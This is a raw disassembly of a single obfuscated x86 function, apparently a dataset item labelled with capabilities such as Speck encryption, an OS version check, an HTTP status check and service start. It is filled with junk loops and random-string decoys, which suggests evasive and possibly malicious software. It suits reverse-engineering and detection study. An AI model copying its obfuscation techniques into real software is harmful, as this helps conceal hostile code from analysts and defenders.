Function at 0x10028a43
Capabilities:
Check http status code
Check os version
Encrypt data using speck
Start service

Disassembly:
mov eax, 0x10054781
call fcn.10053340
sub esp, 0x554
push ebx
push esi
push edi
mov dword [ebp - 0x10], esp
mov dword [ebp - 0x1e4], edx
mov dword [ebp - 0x154], ecx
xor ebx, ebx
mov dword [ebp - 4], ebx
mov dword [ebp - 0x48], 0xffffffff
mov dword [ebp - 0x34], 0xa421e0be
mov dword [ebp - 0x20], 0xf4d39d98
mov dword [ebp - 0x1d8], 1
mov dword [ebp - 0x218], 0xd52276c1
mov dword [ebp - 0x48], ebx
cmp dword [ebp - 0x48], 0xffffffe3
jg 0x10028c4e
push 2
lea ecx, [ebp - 0x240]
call fcn.10001b7c
mov byte [ebp - 4], 1
mov dword [ebp - 0x1dc], 0xfffffffd
mov dword [ebp - 0x18], 0x1194
cmp dword [ebp - 0x18], 0x1320
jle 0x10028b2d
mov esi, ebx
mov dword [ebp - 0x14], ebx
mov dword [ebp - 0x1c], esi
mov dword [ebp - 0x20], 0x1b45
mov edi, ebx
mov ecx, edi
mov eax, esi
sar eax, cl
lea ecx, [ebp - 0x400]
cdq
push edx
push eax
call fcn.10002543
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x10028afa
mov eax, dword [eax]
push eax
call fcn.1003de4c
pop ecx
push ebx
push 1
lea ecx, [ebp - 0x400]
call fcn.1000c586
inc edi
cmp edi, 0xe24
jl 0x10028adc
dec esi
dec dword [ebp - 0x20]
jne 0x10028ada
mov esi, dword [ebp - 0x14]
inc esi
mov dword [ebp - 0x14], esi
cmp esi, 0x1cdd
jl 0x10028ad0
cmp dword [ebp - 0x18], 0x1136
jge 0x10028b41
push str.khrr_ipz_azxgfv_ghln_vru_iymejgdrd_feycyzyue_jfxlh_howkl_jdylbhll_qnxvl_fxhvvir_wsu_ngbythwz
call fcn.1003de4c
pop ecx
push ecx
push 0x6364
lea eax, [ebp - 0x198]
mov dword [ebp - 4], 1
push eax
push ebx
lea edx, [ebp - 0x240]
mov ecx, 0x215c
call fcn.1002864b
mov edx, dword [ebp - 0x240]
xor ecx, ecx
add esp, 0x10
mov eax, dword [edx + 4]
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x20]
cmp dword [edx + 4], eax
mov eax, dword [ebp - 0x48]
setne cl
cmp ecx, 0x9b504dbf
sbb edx, edx
xor ecx, ecx
neg edx
cmp edx, eax
setl cl
cmp ecx, 0x11aa
jl 0x10028bc5
mov dword [ebp - 0x34], 0xfffffffc
jmp 0x10028bbd
cmp dword [ebp - 0x34], ebx
jne 0x10028c38
push ebx
mov ecx, 0x14bb
call fcn.100282ce
inc dword [ebp - 0x34]
pop ecx
cmp dword [ebp - 0x34], 0x22
jle 0x10028ba5
jmp 0x10028c38
lea eax, [ebp - 0x194]
mov dword [ebp - 0x194], 0xffffffff
push eax
push ecx
push 0x6806
mov edx, 0x1c76
mov dword [ebp - 0x1f4], ebx
xor cl, cl
call fcn.10027ee4
add esp, 0xc
lea eax, [ebp - 0x1d8]
mov edx, 0x2a7e
lea ecx, [ebp - 0x1f4]
push 0x4c9b
push ebx
push eax
lea eax, [ebp - 0x48]
push eax
lea eax, [ebp - 0x240]
push eax
lea eax, [ebp - 0x194]
push eax
push 1
push ebx
lea eax, [ebp - 0x1dc]
push eax
lea eax, [ebp - 0x34]
push eax
lea eax, [ebp - 0x218]
push eax
call fcn.1002889e
add esp, 0x2c
lea ecx, [ebp - 0x240]
mov byte [ebp - 4], bl
call fcn.10001bd9
dec dword [ebp - 0x48]
jmp 0x10028a96
mov dword [ebp - 0x180], ebx
mov dword [ebp - 0x17c], ebx
mov dword [ebp - 0x178], ebx
push 0xd22
push 0x299c
push 0x6de5
push 0x732f
push 1
push 0x1d6a
push 1
push 0x64e7
push 0x7328
push 0x54b0
push 0xbb0
push 0x3c29
push 1
mov byte [ebp - 4], 4
lea ecx, [ebp - 0x3c]
push 0xb6
mov dword [ebp - 0x40], 6
mov edx, 0x361e
push 0x537d
mov byte [ebp - 0x3c], bl
call fcn.10027f96
add esp, 0x3c
mov edx, 0x758a
push 1
push 0x4985
push ecx
push 0x74ee
mov ecx, 0x29b2
call fcn.100281c4
add esp, 0x10
mov dword [ebp - 0x8c], 0x903ac01
mov dl, 1
mov dword [ebp - 0x88], 0xdd42c003
mov dword [ebp - 0x84], 0x30b040c
mov dword [ebp - 0x80], 0x2c000007
push 0x61
pop eax
push 2
mov dword [ebp - 0x7c], 0x6e066e05
mov dword [ebp - 0x78], 0x11092604
mov dword [ebp - 0x74], 0x1c08060a
mov word [ebp - 0x70], 0xd02
mov word [ebp - 0x34a], ax
pop esi
mov dword [ebp - 0x158], ebx
mov dword [ebp - 0x20], esi
cmp esi, 0x1e
jae 0x10028e8a
movzx eax, dl
lea eax, [eax*2 + 2]
cmp esi, eax
jne 0x10028d67
movzx ecx, byte [ebp + esi - 0x8c]
dec esi
add esi, ecx
lea eax, [ecx + 1]
mov dword [ebp - 0x158], eax
jmp 0x10028e82
mov dword [ebp - 0x1c], 0x2e62
cmp dword [ebp - 0x1c], 0x31c3
jle 0x10028dc0
mov dword [ebp - 0x28], ebx
mov dword [ebp - 0x14], ebx
mov dword [ebp - 0x18], 0xb7d
mov edi, ebx
mov esi, 0x64a1
mov ebx, dword [ebp - 0x14]
mov eax, edi
mov ecx, 0x1006de98
cdq
push edx
push eax
call fcn.1000bb28
add edi, ebx
dec esi
jne 0x10028d8e
mov edi, dword [ebp - 0x28]
add ebx, edi
dec dword [ebp - 0x18]
push esi
mov dword [ebp - 0x14], ebx
pop ebx
jne 0x10028d84
inc edi
mov dword [ebp - 0x28], edi
cmp edi, 0x6af
jl 0x10028d7a
mov esi, dword [ebp - 0x20]
movzx edx, byte [ebp + esi - 0x8b]
mov eax, esi
sub eax, dword [ebp - 0x158]
movzx eax, byte [ebp + eax - 0x8e]
movzx eax, word [ebp + eax*2 - 0x34c]
mov ecx, eax
and eax, edx
or ecx, edx
sub ecx, eax
movzx eax, byte [ebp + esi - 0x8c]
mov byte [ebp - 4], 5
cmp dword [ebp - 0x1c], 0x2d45
mov word [ebp + eax*2 - 0x34c], cx
jge 0x10028e35
mov edx, str.egpsc_qoqiv_eef_lkqwxmdz_tryxnvv_mmtsowsbp_gay_hgnlfhn
mov ecx, 0x1006de98
call fcn.100102b0
jmp 0x10028e35
push 0x3351
push 1
push 0x54c6
push 0x2227
push 0x159e
push 0x5389
push 1
push ebx
push 0x27ee
push 0x6fad
push 0x2588
lea edx, [ebp - 0x158]
mov dword [ebp - 4], 4
mov ecx, 0x5440
call fcn.1002889e
mov dl, byte [ebp - 0x8c]
add esp, 0x2c
add esi, 2
jmp 0x10028d34
xor eax, eax
mov dword [ebp - 0xa0], 0xd06fd07
push 0x65
mov word [ebp - 0x332], ax
mov ecx, ebx
pop eax
push 2
mov dword [ebp - 0x9c], 0x42020701
mov word [ebp - 0x98], 0x4c04
mov byte [ebp - 0x96], bl
mov dword [ebp - 0x95], 0x30d050f
mov byte [ebp - 0x91], bl
mov dword [ebp - 0x90], 0xc08c8b03
mov word [ebp - 0x276], ax
pop esi
mov dword [ebp - 0x15c], ecx
cmp esi, 0x10
jne 0x10028ef8
push 4
pop ecx
push 0x12
mov dword [ebp - 0x15c], ecx
pop esi
jmp 0x10028f43
movzx edx, byte [ebp + esi - 0x9f]
mov eax, esi
sub eax, ecx
movzx eax, byte [ebp + eax - 0xa2]
movzx eax, word [ebp + eax*2 - 0x284]
mov ecx, eax
and eax, edx
or ecx, edx
xor dl, dl
sub ecx, eax
movzx eax, byte [ebp + esi - 0xa0]
push ecx
push ecx
mov word [ebp + eax*2 - 0x284], cx
lea ecx, [ebp - 0x15c]
call fcn.10027ddc
pop ecx
pop ecx
mov ecx, dword [ebp - 0x15c]
add esi, 2
cmp esi, 0x14
jb 0x10028ee5
xor eax, eax
mov dword [ebp - 0x304], 7
mov word [ebp - 0x274], ax
lea ecx, [ebp - 0x318]
mov word [ebp - 0x318], ax
lea eax, [ebp - 0x284]
push eax
mov dword [ebp - 0x308], ebx
call fcn.10020a6d
mov byte [ebp - 4], 7
lea ecx, [ebp - 0x300]
xor eax, eax
mov dword [ebp - 0x2ec], 7
mov word [ebp - 0x300], ax
lea eax, [ebp - 0x34c]
push eax
mov dword [ebp - 0x2f0], ebx
call fcn.10020a6d
lea eax, [ebp - 0x300]
push eax
lea ecx, [ebp - 0x3d0]
call fcn.100213e5
lea eax, [ebp - 0x318]
push eax
lea ecx, [ebp - 0x3b8]
call fcn.100213e5
push ebx
push 1
lea ecx, [ebp - 0x300]
call fcn.1000c8be
push ebx
push 1
lea ecx, [ebp - 0x318]
call fcn.1000c8be
mov byte [ebp - 4], 8
lea eax, [ebp - 0x3a0]
push dword [ebp - 0x198]
lea ecx, [ebp - 0x190]
mov dword [ebp - 0x190], ebx
push eax
lea eax, [ebp - 0x3d0]
mov dword [ebp - 0x18c], ebx
push eax
push ebx
mov dword [ebp - 0x188], ebx
call fcn.1002ac3b
push fcn.10025f3b
push 1
push 0x30
lea eax, [ebp - 0x3d0]
mov byte [ebp - 4], 0xa
push eax
call fcn.1003da0d
mov dword [ebp - 0x18], 0xb743d837
mov dword [ebp - 0x14], 0x8b922806
mov dword [ebp - 0x1c], 0xffffffff
mov dword [ebp - 0x20], 0x184e
mov dword [ebp - 0x18], ebx
jmp 0x1002906d
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x214], 0x82062403
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 4
jl 0x1002905c
mov dword [ebp - 0x18], ebx
jmp 0x100290f1
mov dword [ebp - 0x14], 0x7b6fe6d3
mov esi, dword [ebp - 0x214]
mov eax, dword [ebp - 0x18]
neg esi
sbb esi, esi
xor ecx, ecx
inc esi
mov edx, dword [ebp + eax*4 - 0x214]
mov eax, dword [ebp - 0x18]
cmp eax, esi
setle cl
imul edx, ecx
test edx, edx
je 0x100290a8
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x210]
xor edx, edx
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x18]
push 1
mov ecx, dword [ebp + eax*4 - 0x214]
mov eax, dword [ebp - 0x14]
imul eax, dword [ebp - 0x14]
cmp eax, ecx
mov eax, dword [ebp - 0x18]
setne dl
xor ecx, ecx
mov eax, dword [ebp + eax*4 - 0x214]
cmp eax, edx
setne cl
mov dword [ebp - 0x14], ecx
lea ecx, [ebp - 0x3a]
mov byte [ebp - 0x3a], bl
call fcn.100282ce
inc dword [ebp - 0x18]
pop ecx
cmp dword [ebp - 0x18], 3
jle 0x10029078
mov eax, dword [ebp - 0x18]
lea edi, [ebp - 0x34c]
mov ecx, dword [ebp - 0x208]
mov eax, dword [ebp - 0x1c]
neg ecx
push 7
sbb ecx, ecx
xor edx, edx
neg ecx
cmp ecx, eax
setle dl
xor ecx, ecx
imul edx, dword [ebp - 0x20]
mov eax, dword [ebp - 0x14]
cmp edx, eax
setne cl
xor edx, edx
cmp ecx, 0x51c8
setg dl
xor ecx, ecx
add edx, dword [ebp - 0x20]
mov eax, dword [ebp - 0x1c]
cmp edx, eax
setne cl
sub ecx, 0x4a3b31f0
sub ecx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x18]
neg ecx
sbb ecx, ecx
inc ecx
mov dword [ebp - 0x1c], ecx
xor ecx, ecx
cmp eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x210]
setl cl
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 0x14]
setg dl
xor ecx, ecx
cmp eax, edx
setl cl
sub ecx, dword [ebp - 0x20]
neg ecx
sbb ecx, ecx
inc ecx
sub ecx, dword [ebp - 0x20]
neg ecx
sbb ecx, ecx
xor eax, eax
inc ecx
mov dword [ebp - 0x14], ecx
pop ecx
rep stosd dword es:[edi], eax
lea edi, [ebp - 0x284]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosw word es:[edi], ax
mov dword [ebp - 0x28], 0x31c0
cmp dword [ebp - 0x28], 0x33b0
jle 0x100291ee
mov edi, ebx
mov esi, ebx
mov ecx, esi
mov eax, edi
sar eax, cl
lea ecx, [ebp - 0x430]
cdq
push edx
push eax
call fcn.10002543
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x100291c7
mov eax, dword [eax]
push eax
call fcn.1003de4c
pop ecx
push ebx
push 1
lea ecx, [ebp - 0x430]
call fcn.1000c586
inc esi
cmp esi, 0x2854
jl 0x100291a9
inc edi
cmp edi, 0x108c
jl 0x100291a7
mov dword [ebp - 0x18], 0x2eac4530
mov dword [ebp - 0x1c], 0x5b2906c
mov byte [ebp - 0x21], bl
cmp byte [ebp - 0x21], 0
je 0x10029226
push 0x4443
push ebx
push 0x6994
push 0x15b9
push 1
mov edx, 0x3dd
xor cl, cl
call fcn.100284cb
add esp, 0x14
cmp dword [ebp - 0x18], ebx
je 0x1002924e
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x18]
cmp eax, dword [ebp - 0x18]
jle 0x10029249
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x1c]
add eax, 0x2f58f7b5
cmp eax, dword [ebp - 0x18]
je 0x1002924e
xor ecx, ecx
inc ecx
jmp 0x10029250
mov ecx, ebx
mov eax, dword [ebp - 0x18]
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 0x18]
push 1
setg dl
xor ecx, ecx
cmp edx, eax
push 1
setle cl
cmp ecx, 0x9934b0b4
ja 0x10029280
lea eax, [ebp - 0x38]
mov byte [ebp - 0x38], bl
push eax
xor dl, dl
mov ecx, 0x560f
jmp 0x1002928c
push 0x53e
mov dl, 1
mov ecx, 0x68fc
call fcn.10028329
add esp, 0xc
cmp dword [ebp - 0x28], 0x30e4
jge 0x100292a8
push str.fyh_frba_crwtvc_gazpib_sbklgqskr_nvvkupt_zfhwnswu_feqp_pgxwnmp_vmlgechi_lohdcaa_yun_htidby_oafxhgab
call fcn.1003de4c
pop ecx
lea eax, [ebp + 8]
mov dword [ebp - 4], 0xa
push eax
push ebx
lea eax, [ebp - 0x190]
mov edx, 0x6108
push eax
push 0x7320
call fcn.10028741
mov dword [ebp - 0x14], 0x40e11a79
add esp, 0x10
mov dword [ebp - 0x20], 0xffd0
mov dword [ebp - 0x1c], 0xdc6f
mov dword [ebp - 0x14], ebx
jmp 0x100292f5
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x50], 0xddc85f70
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 2
jl 0x100292e7
mov dword [ebp - 0x50], ebx
jmp 0x1002933d
push 0x58f6
push 1
lea eax, [ebp - 0x228]
mov dword [ebp - 0x228], 0xfffffff9
push eax
lea eax, [ebp - 0x1fc]
mov dword [ebp - 0x1fc], 0xd11d962e
push eax
push 1
mov edx, 0x82a
mov cl, 1
call fcn.100284cb
add esp, 0x14
dec dword [ebp - 0x50]
cmp dword [ebp - 0x50], 0xffffffe8
jle 0x10029300
mov eax, dword [ebp - 0x50]
mov eax, dword [ebp - 0x4c]
imul eax, dword [ebp - 0x50], 0xfffe
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], ebx
jne 0x1002935b
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x4c]
xor edx, edx
mov eax, dword [ebp - 0x50]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x50]
mov dword [ebp - 0x50], eax
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x20]
cmp eax, 1
mov eax, dword [ebp - 0x20]
setle dl
xor ecx, ecx
add edx, 0xfff9
cmp edx, eax
push ebx
setge cl
push 0xae5
mov dword [ebp - 0x1c], ecx
push 0x1605
call fcn.10020124
pop ecx
pop ecx
call eax
push 1
lea ecx, [ebp - 0x324]
call fcn.10001b7c
xor edx, edx
mov byte [ebp - 4], 0xd
inc edx
mov dword [ebp - 0x14], edx
mov dword [ebp - 0x14], ebx
jmp 0x100293ce
mov ecx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x324]
mov dword [eax + ecx*4], 0x9f9b3198
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], edx
jl 0x100293bb
mov dword [ebp - 0x14], ebx
jmp 0x10029429
push ecx
push ecx
mov byte [ebp - 0x35], bl
lea edx, [ebp - 0x35]
xor cl, cl
call fcn.10028300
push 0x4105
push 1
push 0x75a7
push 0x69de
push 0xd0a
push 0x427c
push ebx
push 1
push 0x1e7f
push 0x5887
push 0x3951
mov edx, 0x4dd0
mov ecx, 0x6a40
call fcn.1002889e
add esp, 0x34
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ebx
jle 0x100293d8
lea ecx, [ebp - 0x324]
mov byte [ebp - 4], 0xa
call fcn.10001bd9
mov dword [ebp - 0x18], 0x73ff82f
xor edx, edx
mov dword [ebp - 0x20], 0xfff8
inc edx
mov dword [ebp - 0x1c], 0xd621ec21
mov dword [ebp - 0x1c], 0x2a83a0f0
mov dword [ebp - 0x1c], 0xa8ccedb7
mov dword [ebp - 0x1c], 0xffffffff
mov dword [ebp - 0x14], ebx
jmp 0x1002947c
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x220], edx
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], edx
jl 0x1002946f
mov ecx, ebx
cmp dword [ebp - 0x18], ebx
je 0x1002948a
mov ecx, edx
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x1c], ecx
mov ecx, dword [ebp - 0x1c]
sub ecx, dword [ebp - 0x18]
neg ecx
sbb ecx, ecx
inc ecx
mov dword [ebp - 0x220], ecx
mov eax, dword [ebp - 0x18]
add eax, ecx
mov ecx, 0x368
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x1c], edx
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x1c], eax
lea eax, [ebp - 0x2e8]
push eax
push edx
push 0x32a6
push ebx
push 0x2b6e
call fcn.10027e50
mov dword [ebp - 0x2c], ebx
add esp, 0x14
mov dword [ebp - 0x20], 0xf6af1124
mov dword [ebp - 0x20], ebx
cmp dword [ebp - 0x20], 0x1a
je 0x10029691
mov dword [ebp - 0x18], 1
mov dword [ebp - 0x14], ebx
jmp 0x10029524
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x330], 0x72159124
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 2
jl 0x10029513
mov dword [ebp - 0x18], 0xfffffff5
jmp 0x10029571
mov dword [ebp - 0x1d0], ebx
mov byte [ebp - 0x21], bl
cmp byte [ebp - 0x21], 0
je 0x10029555
push ecx
push ecx
push ebx
sub esp, 0x14
mov edx, 0x261e
call fcn.10028a0e
add esp, 0x20
push ebx
push ecx
push ecx
lea eax, [ebp - 0x1d0]
mov edx, 0x3b14
push eax
push ecx
push ecx
call fcn.100285ec
add esp, 0x18
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], ebx
jle 0x10029533
mov dword [ebp - 0x18], ebx
cmp dword [ebp - 0x18], 0x1b
jg 0x10029689
push 3
lea ecx, [ebp - 0x2a8]
call fcn.10001b7c
mov byte [ebp - 4], 0xe
mov dword [ebp - 0x14], 0x701b
cmp dword [ebp - 0x14], 0x72b3
jle 0x10029611
mov edi, ebx
mov dword [ebp - 0x28], ebx
mov esi, ebx
mov dword [ebp - 0x40], edi
mov dword [ebp - 0x1c], 0x7ad6
mov eax, edi
lea ecx, [ebp - 0x448]
cdq
push edx
push eax
call fcn.10002543
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x100295cf
mov eax, dword [eax]
push eax
call fcn.1003de4c
pop ecx
push ebx
push 1
lea ecx, [ebp - 0x448]
call fcn.1000c586
add edi, esi
dec dword [ebp - 0x1c]
jne 0x100295b5
mov edi, dword [ebp - 0x28]
dec esi
cmp esi, 0xffffbca5
jg 0x100295ab
inc edi
mov dword [ebp - 0x28], edi
cmp edi, 0x67e2
jl 0x100295a9
push ebx
push 0x1e9f
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_VerSetConditionMask]
cmp dword [ebp - 0x14], 0x6d3a
jge 0x10029625
push str.djyzulntc_qpzcfenjt_jhbo_ywbsm_qxtcsdt_gvzllxf_mej_xcambmh_mncpbtt_anc_ruxa_lsycps_jxrjwzn_unlqgio
call fcn.1003de4c
pop ecx
mov dword [ebp - 4], 0xe
mov dword [ebp - 0x14], ebx
jmp 0x10029644
mov ecx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x2a8]
mov dword [eax + ecx*4], 1
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 3
jl 0x10029631
push 1
push ecx
push ecx
push 0x244a
push ecx
mov byte [ebp - 0x37], bl
lea edx, [ebp - 0x37]
push ecx
call fcn.100285ec
mov ecx, dword [ebp - 0x32c]
add esp, 0x18
mov eax, dword [ebp - 0x2a8]
mov byte [ebp - 4], 0xa
mov dword [eax + 8], ecx
lea ecx, [ebp - 0x2a8]
call fcn.10001bd9
inc dword [ebp - 0x18]
jmp 0x10029579
inc dword [ebp - 0x20]
jmp 0x100294fd
push 0xb
pop eax
mov dword [ebp - 0x148], 0x741f0a04
mov dword [ebp - 0x144], 0x4d064a25
mov dword [ebp - 0x140], 0x87047408
mov dword [ebp - 0x13c], 0x24118492
mov dword [ebp - 0x138], 0x2301227c
mov dword [ebp - 0x134], 0x17c0d7c
mov dword [ebp - 0x130], 0xe01027c
mov dword [ebp - 0x12c], 0x1e150769
mov word [ebp - 0x128], 0x57e
mov byte [ebp - 0x126], 0x77
mov byte [ebp - 0x125], al
mov dword [ebp - 0x124], 0x19020f02
mov word [ebp - 0x120], 0x1c01
mov byte [ebp - 0x11e], bl
mov dword [ebp - 0x11d], 0x6c161d18
mov dword [ebp - 0x119], 0x7d200511
mov dword [ebp - 0x115], 0xe210103
mov dword [ebp - 0x111], 0x14141b09
mov dword [ebp - 0x10d], 0x72157a1b
mov byte [ebp - 0x109], 0x10
mov byte [ebp - 0x108], bl
mov word [ebp - 0x107], 0x517
mov byte [ebp - 0x105], 0xa
mov byte [ebp - 0x104], bl
mov byte [ebp - 0x103], bl
mov dword [ebp - 0x102], 0x1a56134f
mov dword [ebp - 0xfe], 0x1d040c1d
mov byte [ebp - 0xfa], bl
mov word [ebp - 0xf9], 0x612
mov dword [ebp - 0x14], 0x64c6
cmp dword [ebp - 0x14], 0x6525
jle 0x10029814
mov dword [ebp - 0x28], ebx
mov ecx, ebx
mov dword [ebp - 0x1c], 0x6f13
mov dword [ebp - 0x20], ecx
mov edi, ebx
mov esi, ebx
mov eax, ecx
lea ecx, [ebp - 0x3e8]
xor eax, esi
xor eax, edi
cdq
push edx
push eax
call fcn.10002543
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x100297d2
mov eax, dword [eax]
push eax
call fcn.1003de4c
pop ecx
push ebx
push 1
lea ecx, [ebp - 0x3e8]
call fcn.1000c586
mov ecx, dword [ebp - 0x20]
inc esi
cmp esi, 0x2ed2
jl 0x100297b4
inc edi
cmp edi, 0x6f35
jl 0x100297b2
mov eax, dword [ebp - 0x28]
add ecx, eax
dec dword [ebp - 0x1c]
mov dword [ebp - 0x20], ecx
jne 0x100297b0
inc eax
mov dword [ebp - 0x28], eax
cmp eax, 0x3136
jl 0x100297a4
cmp dword [ebp - 0x14], 0x6127
push 0x43
pop eax
mov word [ebp - 0x4c0], ax
jge 0x10029832
push str.nczjitrt_funpvht_phqucjk_rwmjwrp_dtxizpy_wikcgcc_rihn_wysx_oknyjszmp_zqrqab_hizim_gpcw
call fcn.1003de4c
pop ecx
push 2
mov ecx, ebx
mov dword [ebp - 4], 0xa
pop esi
mov dword [ebp - 0x14c], ecx
cmp esi, 0xa
jne 0x10029857
push 5
pop ecx
push 0xd
mov dword [ebp - 0x14c], ecx
pop esi
jmp 0x100298a9
movzx edx, byte [ebp + esi - 0x147]
mov eax, esi
sub eax, ecx
push 1
movzx eax, byte [ebp + eax - 0x14a]
movzx ecx, word [ebp + eax*2 - 0x4c8]
mov eax, ecx
and eax, edx
add eax, eax
sub ecx, eax
movzx eax, byte [ebp + esi - 0x148]
add ecx, edx
lea edx, [ebp - 0x14c]
push ecx
push 0x5aa8
mov word [ebp + eax*2 - 0x4c8], cx
call fcn.1002861e
mov ecx, dword [ebp - 0x14c]
add esp, 0xc
add esi, 2
cmp esi, 0x51
jb 0x10029844
xor eax, eax
mov word [ebp - 0x47c], ax
mov dword [ebp - 0x14], ebx
jmp 0x100298cd
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x58], 7
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 1
jl 0x100298bf
mov dword [ebp - 0x58], 0x11
jmp 0x10029909
mov byte [ebp - 0x21], bl
cmp byte [ebp - 0x21], 0
je 0x10029906
push 0x5fab
push ebx
push 0x5c5f
push 0x3752
push 1
mov edx, 0x4f7f
mov cl, 1
call fcn.100284cb
add esp, 0x14
dec dword [ebp - 0x58]
cmp dword [ebp - 0x58], 0xffffffee
je 0x100298dc
xor eax, eax
mov dword [ebp - 0x288], 7
mov word [ebp - 0x29c], ax
lea ecx, [ebp - 0x29c]
lea eax, [ebp - 0x4c8]
mov dword [ebp - 0x28c], ebx
push eax
call fcn.10020a6d
mov byte [ebp - 4], 0x13
lea eax, [ebp - 0x34c]
push dword [ebp - 0x198]
movdqa xmm0, xmmword [0x10061140]
lea ecx, [ebp - 0x1f0]
push eax
lea eax, [ebp - 0x35c]
mov dword [ebp - 0x1f0], ebx
push eax
push ebx
movdqu xmmword [ebp - 0x35c], xmm0
mov dword [ebp - 0x1ec], ebx
mov dword [ebp - 0x1e8], ebx
call fcn.100113a5
push 4
lea ecx, [ebp - 0x2b4]
mov byte [ebp - 4], 0x14
call fcn.10001b7c
mov byte [ebp - 4], 0x15
mov dword [ebp - 0x14], ebx
jmp 0x100299aa
mov ecx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x2b4]
or dword [eax + ecx*4], 0xffffffff
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 4
jl 0x1002999a
push ebx
push 1
mov byte [ebp - 0x39], bl
lea ecx, [ebp - 0x39]
push 0x2622
mov dl, 1
call fcn.10028329
pop ecx
pop ecx
lea eax, [ebp - 0x2b4]
mov edx, 0x41fb
push eax
push 0x21d0
push 1
lea ecx, [ebp - 0x1f0]
call fcn.1002864b
add esp, 0x10
lea ecx, [ebp - 0x2b4]
call fcn.10001bd9
lea ecx, [ebp - 0x1f0]
mov byte [ebp - 4], 0x13
call fcn.10001bd9
push 0x13
xor eax, eax
lea edi, [ebp - 0x4c8]
pop ecx
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
mov dword [ebp - 0x21c], 0xc69aed23
mov dword [ebp - 0x1c], 0x34e0
cmp dword [ebp - 0x1c], 0x36c0
jle 0x10029a75
mov edi, ebx
mov esi, ebx
mov eax, edi
lea ecx, [ebp - 0x460]
cdq
idiv esi
mov eax, edx
cdq
push edx
push eax
call fcn.10002543
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x10029a4e
mov eax, dword [eax]
push eax
call fcn.1003de4c
pop ecx
push ebx
push 1
lea ecx, [ebp - 0x460]
call fcn.1000c586
inc esi
cmp esi, 0x6ad
jl 0x10029a2f
inc edi
cmp edi, 0x129b
jl 0x10029a2d
mov dword [ebp - 0x234], 0xffffffff
cmp dword [ebp - 0x1c], 0x329f
jge 0x10029a93
push str.jmhleua_tmhy_luhed_vgo_penkshn_xcwiurb_bro_ieqstoysd_axdur_ewti_pkqvau_apdffkaa_splpl_obs
call fcn.1003de4c
pop ecx
mov dword [ebp - 4], 0x13
mov dword [ebp - 0x1f8], 0x205b2906
push ecx
mov dword [ebp - 0x1d4], 5
lea ecx, [ebp - 0x3b]
mov dword [ebp - 0x22c], 7
mov dword [ebp - 0x1e0], 0xfffffff6
push 0x5084
mov dword [ebp - 0x224], 0xfffffffc
mov byte [ebp - 0x3b], bl
push 1
call fcn.10028862
add esp, 0xc
lea eax, [ebp - 0x1e0]
lea edx, [ebp - 0x21c]
mov ecx, 0x2b0d
push 0x5b95
push eax
push 0x19c3
lea eax, [ebp - 0x224]
push eax
push 1
lea eax, [ebp - 0x22c]
push eax
push 1
lea eax, [ebp - 0x234]
push eax
push 0x56d3
lea eax, [ebp - 0x1d4]
push eax
push 0x1ad0
push 0x492
push ebx
lea eax, [ebp - 0x1f8]
push 0x1540
push eax
call fcn.10027f96
mov dword [ebp - 0x28], 0x56b
add esp, 0x3c
cmp dword [ebp - 0x28], 0x632
jle 0x10029b97
mov dword [ebp - 0x20], ebx
mov esi, ebx
mov edi, ebx
mov dword [ebp - 0x1c], 0x5a1d
mov ebx, dword [ebp - 0x20]
mov ecx, edi
mov eax, ebx
shl eax, cl
mov ecx, 0x1006de98
cdq
push edx
push eax
call fcn.1000bb28
add edi, esi
dec dword [ebp - 0x1c]
jne 0x10029b63
inc esi
push 0
pop ebx
cmp esi, 0x36f3
jl 0x10029b57
mov eax, dword [ebp - 0x20]
inc eax
mov dword [ebp - 0x20], eax
cmp eax, 0x34e8
jl 0x10029b55
push 4
pop esi
push esi
lea ecx, [ebp - 0x258]
call fcn.10001b7c
